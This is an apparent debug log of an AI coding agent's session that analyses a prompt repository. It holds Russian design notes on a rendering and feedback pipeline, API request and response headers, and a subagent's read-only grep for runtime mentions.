\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u044c\u044e \u0433\u0435\u0439\u0442\u0430 `G-mach`, \u0430 \u043d\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043e\u0439 \u0435\u043c\u0443.\\n10. **\u041d\u0430\u0432\u044b\u043a \u2014 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0439 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442.** \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u044b\u0439 \u0442\u0438\u043f\\n    \u0440\u0430\u0431\u043e\u0442\u044b; \u043d\u0430\u0432\u044b\u043a \u2014 \u0435\u0451 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f; \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2014 \u043d\u0435 \u043d\u0430\u0432\u044b\u043a,\\n    \u0430 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u043d\u0430\u0432\u044b\u043a\u043e\u0432. \u041d\u0430\u0432\u044b\u043a \u0441\u0430\u043c\u043e\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d: \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0441\u043b\u043e\u0438, \u043f\u043e\\n    \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0430\u0433\u0435\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0445\u043e\u0434\u0438\u0442\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0432 \u043d\u0451\u043c \u043d\u0435\u0442.\\n\\n=== artifact-rendering\\n## BLUF\\n\\n1. `M2` \u2014 \u044d\u0442\u043e **\u0441\u0431\u043e\u0440\u043a\u0430**, \u0430 \u043d\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435. \u0412\u0441\u0451, \u0447\u0442\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0443\u0436\u0435\\n   \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u044f\u0434\u0440\u0435; `M2` \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442, \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0438\u0432\u0430\u0435\u0442 \u0438 \u043e\u0444\u043e\u0440\u043c\u043b\u044f\u0435\u0442.\\n2. \u0418\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u0435\u0442 \u043c\u043e\u0434\u0443\u043b\u044f: **\u043d\u0430 \u0441\u043b\u043e\u0435 `M2` \u043d\u0435 \u0440\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u044b\u0439\\n   \u0441\u043c\u044b\u0441\u043b**. \u041b\u044e\u0431\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0435\u0435\u0441\u044f \u043f\u0440\u0438 \u0440\u0435\u043d\u0434\u0435\u0440\u0435, \u2014 \u0434\u0435\u0444\u0435\u043a\u0442.\\n3. \u041e\u0442\u0441\u044e\u0434\u0430 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u2014 \u043d\u0435\u0434\u0440\u0435\u0439\u0444 (`K5` RFC): \u0434\u043e\u043a\u0430\u0437\u0443\u0435\u043c\u043e\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435\\n   \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u044f\u0434\u0440\u0443, \u0430 \u043d\u0435 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0430.\\n4. \u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u0430\u0434\u0430\u0447\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u0430: 23 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438\u0437 57 \u0432\u044b\u0434\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e\\n   \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 \u043e\u0431\u0449\u0435\u0433\u043e \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f, 9 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0432\u044b\u043c\u044b\u0441\u0435\u043b \u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442.\\n5. \u0420\u0435\u043d\u0434\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d, \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0441\u0431\u043e\u0440\u043a\u0430 \u0438\\n   \u0433\u0438\u0431\u0440\u0438\u0434; \u043e\u043d\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\u043c, \u0430 **\u0442\u0435\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u044c**.\\n6. \u041d\u0430\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 (`custom-form` \u043e\u0441\u0438 `A1`) \u2014 \u043d\u0435 \u0447\u0430\u0441\u0442\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u0430\\n   \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0447\u0438: \u043e\u043d\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0432\u0443\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0435\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f.\\n7. \u0413\u0435\u0439\u0442 `HG-5` \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442; \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0434\u0433\u0435\u0439\u0442 `HG-5.1` \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0442\u0430\u043c, \u0433\u0434\u0435\\n   \u043e\u0441\u044c `A6` \u0434\u0430\u0451\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0438\u043b\u0438 \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440.\\n8. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0435\u0434\u0440\u0435\u0439\u0444\u0430 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 `M2` \u2014 \u044d\u0442\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 `Q-2` RFC, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435\\n   \u043f\u0440\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0438.\\n\\n=== feedback-and-evolution\\n## BLUF\\n\\n1. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0431\u0435\u0437 `M3` \u043d\u0435\u043e\u0431\u0443\u0447\u0430\u0435\u043c: \u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0438 \u043d\u0435 \u0443\u0437\u043d\u0430\u0451\u0442, \u0431\u044b\u043b\u0438 \u043b\u0438\\n   \u043e\u043d\u0438 \u0432\u0435\u0440\u043d\u044b.\\n2. \u041a\u043e\u0440\u043f\u0443\u0441 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e: \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 100 % \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432,\\n   \u0430 \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0432 5 \u0438\u0437 57 (8,8 %).\\n3. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0435\u0441\u0442\u044c, \u043d\u043e \u043e\u043d\u0438 \u043d\u0435\u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c\u044b: 71 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430 57\\n   \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 24 \u043a\u043b\u044e\u0447\u0430 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0440\u0430\u0437, `token_method` \u0438\u043c\u0435\u0435\u0442 24\\n   \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 16 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445.\\n4. \u041e\u0442\u0441\u044e\u0434\u0430 \u043f\u0435\u0440\u0432\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 `M3` \u2014 \u043d\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 **\u0441\u0445\u0435\u043c\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u043e \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u0438**\\n   `C-CL`: \u043f\u043e\u043a\u0430 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043d\u0435\u0442, \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0435\u0447\u0435\u0433\u043e.\\n5. \u0412\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u2014 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0442\u044c \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0435\u0442:\\n   \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\\n6. \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0441 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u043e\u0439 \u043c\u0435\u0441\u044f\u0446\u044b (\u0434\u0435\u0444\u0435\u043a\u0442 \u043f\u043e\u0441\u043b\u0435 \u0441\u0434\u0430\u0447\u0438) \u0438 \u043c\u0438\u043d\u0443\u0442\u044b\\n   (\u043f\u0440\u0430\u0432\u043a\u0430 \u043d\u0430 \u0440\u0435\u0432\u044c\u044e); \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0434\u043b\u044f \u043d\u0438\u0445 \u0440\u0430\u0437\u043d\u044b\u0435.\\n7. `M3` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u043e\u0439, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b `H1.5` (\u044f\u0434\u0440\u043e \u0434\u0435\u0448\u0435\u0432\u043b\u0435\\n   \u0434\u0440\u0435\u0439\u0444\u0430) \u0438 `H2.3` (\u0433\u0438\u0431\u0440\u0438\u0434\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c \u0432\u044b\u0438\u0433\u0440\u044b\u0432\u0430\u0435\u0442); \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043e\u043d\u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b.\\n8. `M3` \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c: \u043e\u043d \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043a\u0430\u043b\u0438\u0431\u0440\u043e\u0432\u043a\u0443 \u0432 `M1`, `M2` \u0438 `M4`\\n   \u0447\u0435\u0440\u0435\u0437 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[STDOUT] [log_896a30] sending request {\n[2026-09-29T07:46:07.658Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:07.662Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:07.672Z] [STDOUT]   options: {\n[2026-09-29T07:46:07.676Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:07.679Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:07.683Z] [STDOUT]     body: {\n[2026-09-29T07:46:07.689Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:07.695Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:07.699Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:07.710Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:07.713Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:07.727Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:07.745Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:07.749Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:07.754Z] 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   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:08.638Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:08.641Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:08.645Z] [STDOUT]     \"cf-ray\": \"a4295f4dae6e29ad-FRA\",\n[2026-09-29T07:46:08.649Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:08.651Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:08.655Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:08.661Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:08.665Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:08 GMT\",\n[2026-09-29T07:46:08.669Z] [STDOUT]     \"request-id\": \"req_011CfXMov6THYKxhmvXEvPvd\",\n[2026-09-29T07:46:08.673Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:08.675Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:08.683Z] [STDOUT]     traceresponse: \"00-98498e7ce51bc4f29b1d9519fbf761aa-bac173c54e2327a3-01\",\n[2026-09-29T07:46:08.688Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:08.692Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:08.695Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:08.700Z] [STDOUT]   },\n[2026-09-29T07:46:08.703Z] [STDOUT]   durationMs: 799,\n[2026-09-29T07:46:08.707Z] [STDOUT] }\n[2026-09-29T07:46:08.711Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:08.714Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:08 GMT\",\n[2026-09-29T07:46:08.717Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:08.723Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:08.727Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:08.730Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:08.733Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:08.739Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:08.746Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:08.760Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:08.767Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:08.772Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:08.794Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:08.800Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:08.807Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:08.819Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:08.827Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:08.832Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:08.837Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:08.843Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:08.846Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:08.849Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:08.852Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:08.855Z] [STDOUT]   \"request-id\": \"req_011CfXMov6THYKxhmvXEvPvd\",\n[2026-09-29T07:46:08.859Z] [STDOUT]   \"traceresponse\": \"00-98498e7ce51bc4f29b1d9519fbf761aa-bac173c54e2327a3-01\",\n[2026-09-29T07:46:08.865Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:08.871Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:08.876Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:08.883Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:08.892Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:08.911Z] [STDOUT]   \"cf-ray\": \"a4295f4dae6e29ad-FRA\",\n[2026-09-29T07:46:08.945Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:08.958Z] [STDOUT] [log_896a30] response parsed {\n[2026-09-29T07:46:08.967Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:08.987Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:08.994Z] [STDOUT]   body: X {\n[2026-09-29T07:46:08.997Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:08.999Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:09.002Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:09.006Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:09.010Z] [STDOUT]     },\n[2026-09-29T07:46:09.015Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:09.020Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:09.024Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:09.028Z] [STDOUT]   },\n[2026-09-29T07:46:09.030Z] [STDOUT]   durationMs: 801,\n[2026-09-29T07:46:09.034Z] [STDOUT] }\n[2026-09-29T07:46:09.135Z] [INFO] {\n[2026-09-29T07:46:09.135Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"message\": {\n[2026-09-29T07:46:09.135Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:09.135Z] [INFO]     \"id\": \"msg_011CfXMokfusPt6ntbaGWiC6\",\n[2026-09-29T07:46:09.135Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:09.135Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:09.135Z] [INFO]     \"content\": [\n[2026-09-29T07:46:09.135Z] [INFO]       {\n[2026-09-29T07:46:09.135Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:09.135Z] [INFO]         \"id\": \"toolu_01KBSaqhgDvkNYxs6EAGUG6X\",\n[2026-09-29T07:46:09.135Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:09.135Z] [INFO]         \"input\": {\n[2026-09-29T07:46:09.135Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && grep -rIn --exclude-dir=.git --exclude=*.json -E \\\"Qwen|\u0432\u0435\u0431-\u0447\u0430\u0442|web chat|\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0447\u0430\u0442\u0430|\u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441|\u0441\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f|runtime\\\" . | grep -v \\\"^./runs/.*/inputs/\\\" | cut -c1-280 | head -60\",\n[2026-09-29T07:46:09.135Z] [INFO]           \"description\": \"Find Qwen/runtime mentions\"\n[2026-09-29T07:46:09.135Z] [INFO]         },\n[2026-09-29T07:46:09.135Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:09.135Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:09.135Z] [INFO]         }\n[2026-09-29T07:46:09.135Z] [INFO]       }\n[2026-09-29T07:46:09.135Z] [INFO]     ],\n[2026-09-29T07:46:09.135Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:09.135Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:09.135Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:09.135Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:09.135Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:09.135Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:09.135Z] [INFO]       \"cache_creation_input_tokens\": 4805,\n[2026-09-29T07:46:09.135Z] [INFO]       \"cache_read_input_tokens\": 78532,\n[2026-09-29T07:46:09.135Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:09.135Z] [INFO]         \"ephemeral_5m_input_tokens\": 4805,\n[2026-09-29T07:46:09.135Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:09.135Z] [INFO]       },\n[2026-09-29T07:46:09.135Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:46:09.135Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:09.135Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:09.135Z] [INFO]     },\n[2026-09-29T07:46:09.135Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:09.135Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:09.135Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:09.135Z] [INFO]   },\n[2026-09-29T07:46:09.135Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"uuid\": \"d1511f8c-57b6-427a-ab8c-21fa03e19da0\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:09.122Z\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"request_id\": \"req_011CfXMokAuRxEHdiWc9DQbV\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:09.135Z] [INFO] }\n[2026-09-29T07:46:09.155Z] [INFO] {\n[2026-09-29T07:46:09.155Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"description\": \"Running Find Qwen/runtime mentions\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"usage\": {\n[2026-09-29T07:46:09.155Z] [INFO]     \"total_tokens\": 84021,\n[2026-09-29T07:46:09.155Z] [INFO]     \"tool_uses\": 21,\n[2026-09-29T07:46:09.155Z] [INFO]     \"duration_ms\": 106843\n[2026-09-29T07:46:09.155Z] [INFO]   },\n[2026-09-29T07:46:09.155Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"uuid\": \"4ab3a1f2-db2f-4d5d-ac84-b77369e734a7\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:09.155Z] [INFO] }\n[2026-09-29T07:46:10.648Z] [INFO] {\n[2026-09-29T07:46:10.648Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"message\": {\n[2026-09-29T07:46:10.648Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:10.648Z] [INFO]     \"id\": \"msg_011CfXMovbxP27QkvRKEz2in\",\n[2026-09-29T07:46:10.648Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:10.648Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:10.648Z] [INFO]     \"content\": [\n[2026-09-29T07:46:10.648Z] [INFO]       {\n[2026-09-29T07:46:10.648Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:10.648Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:10.648Z] [INFO]         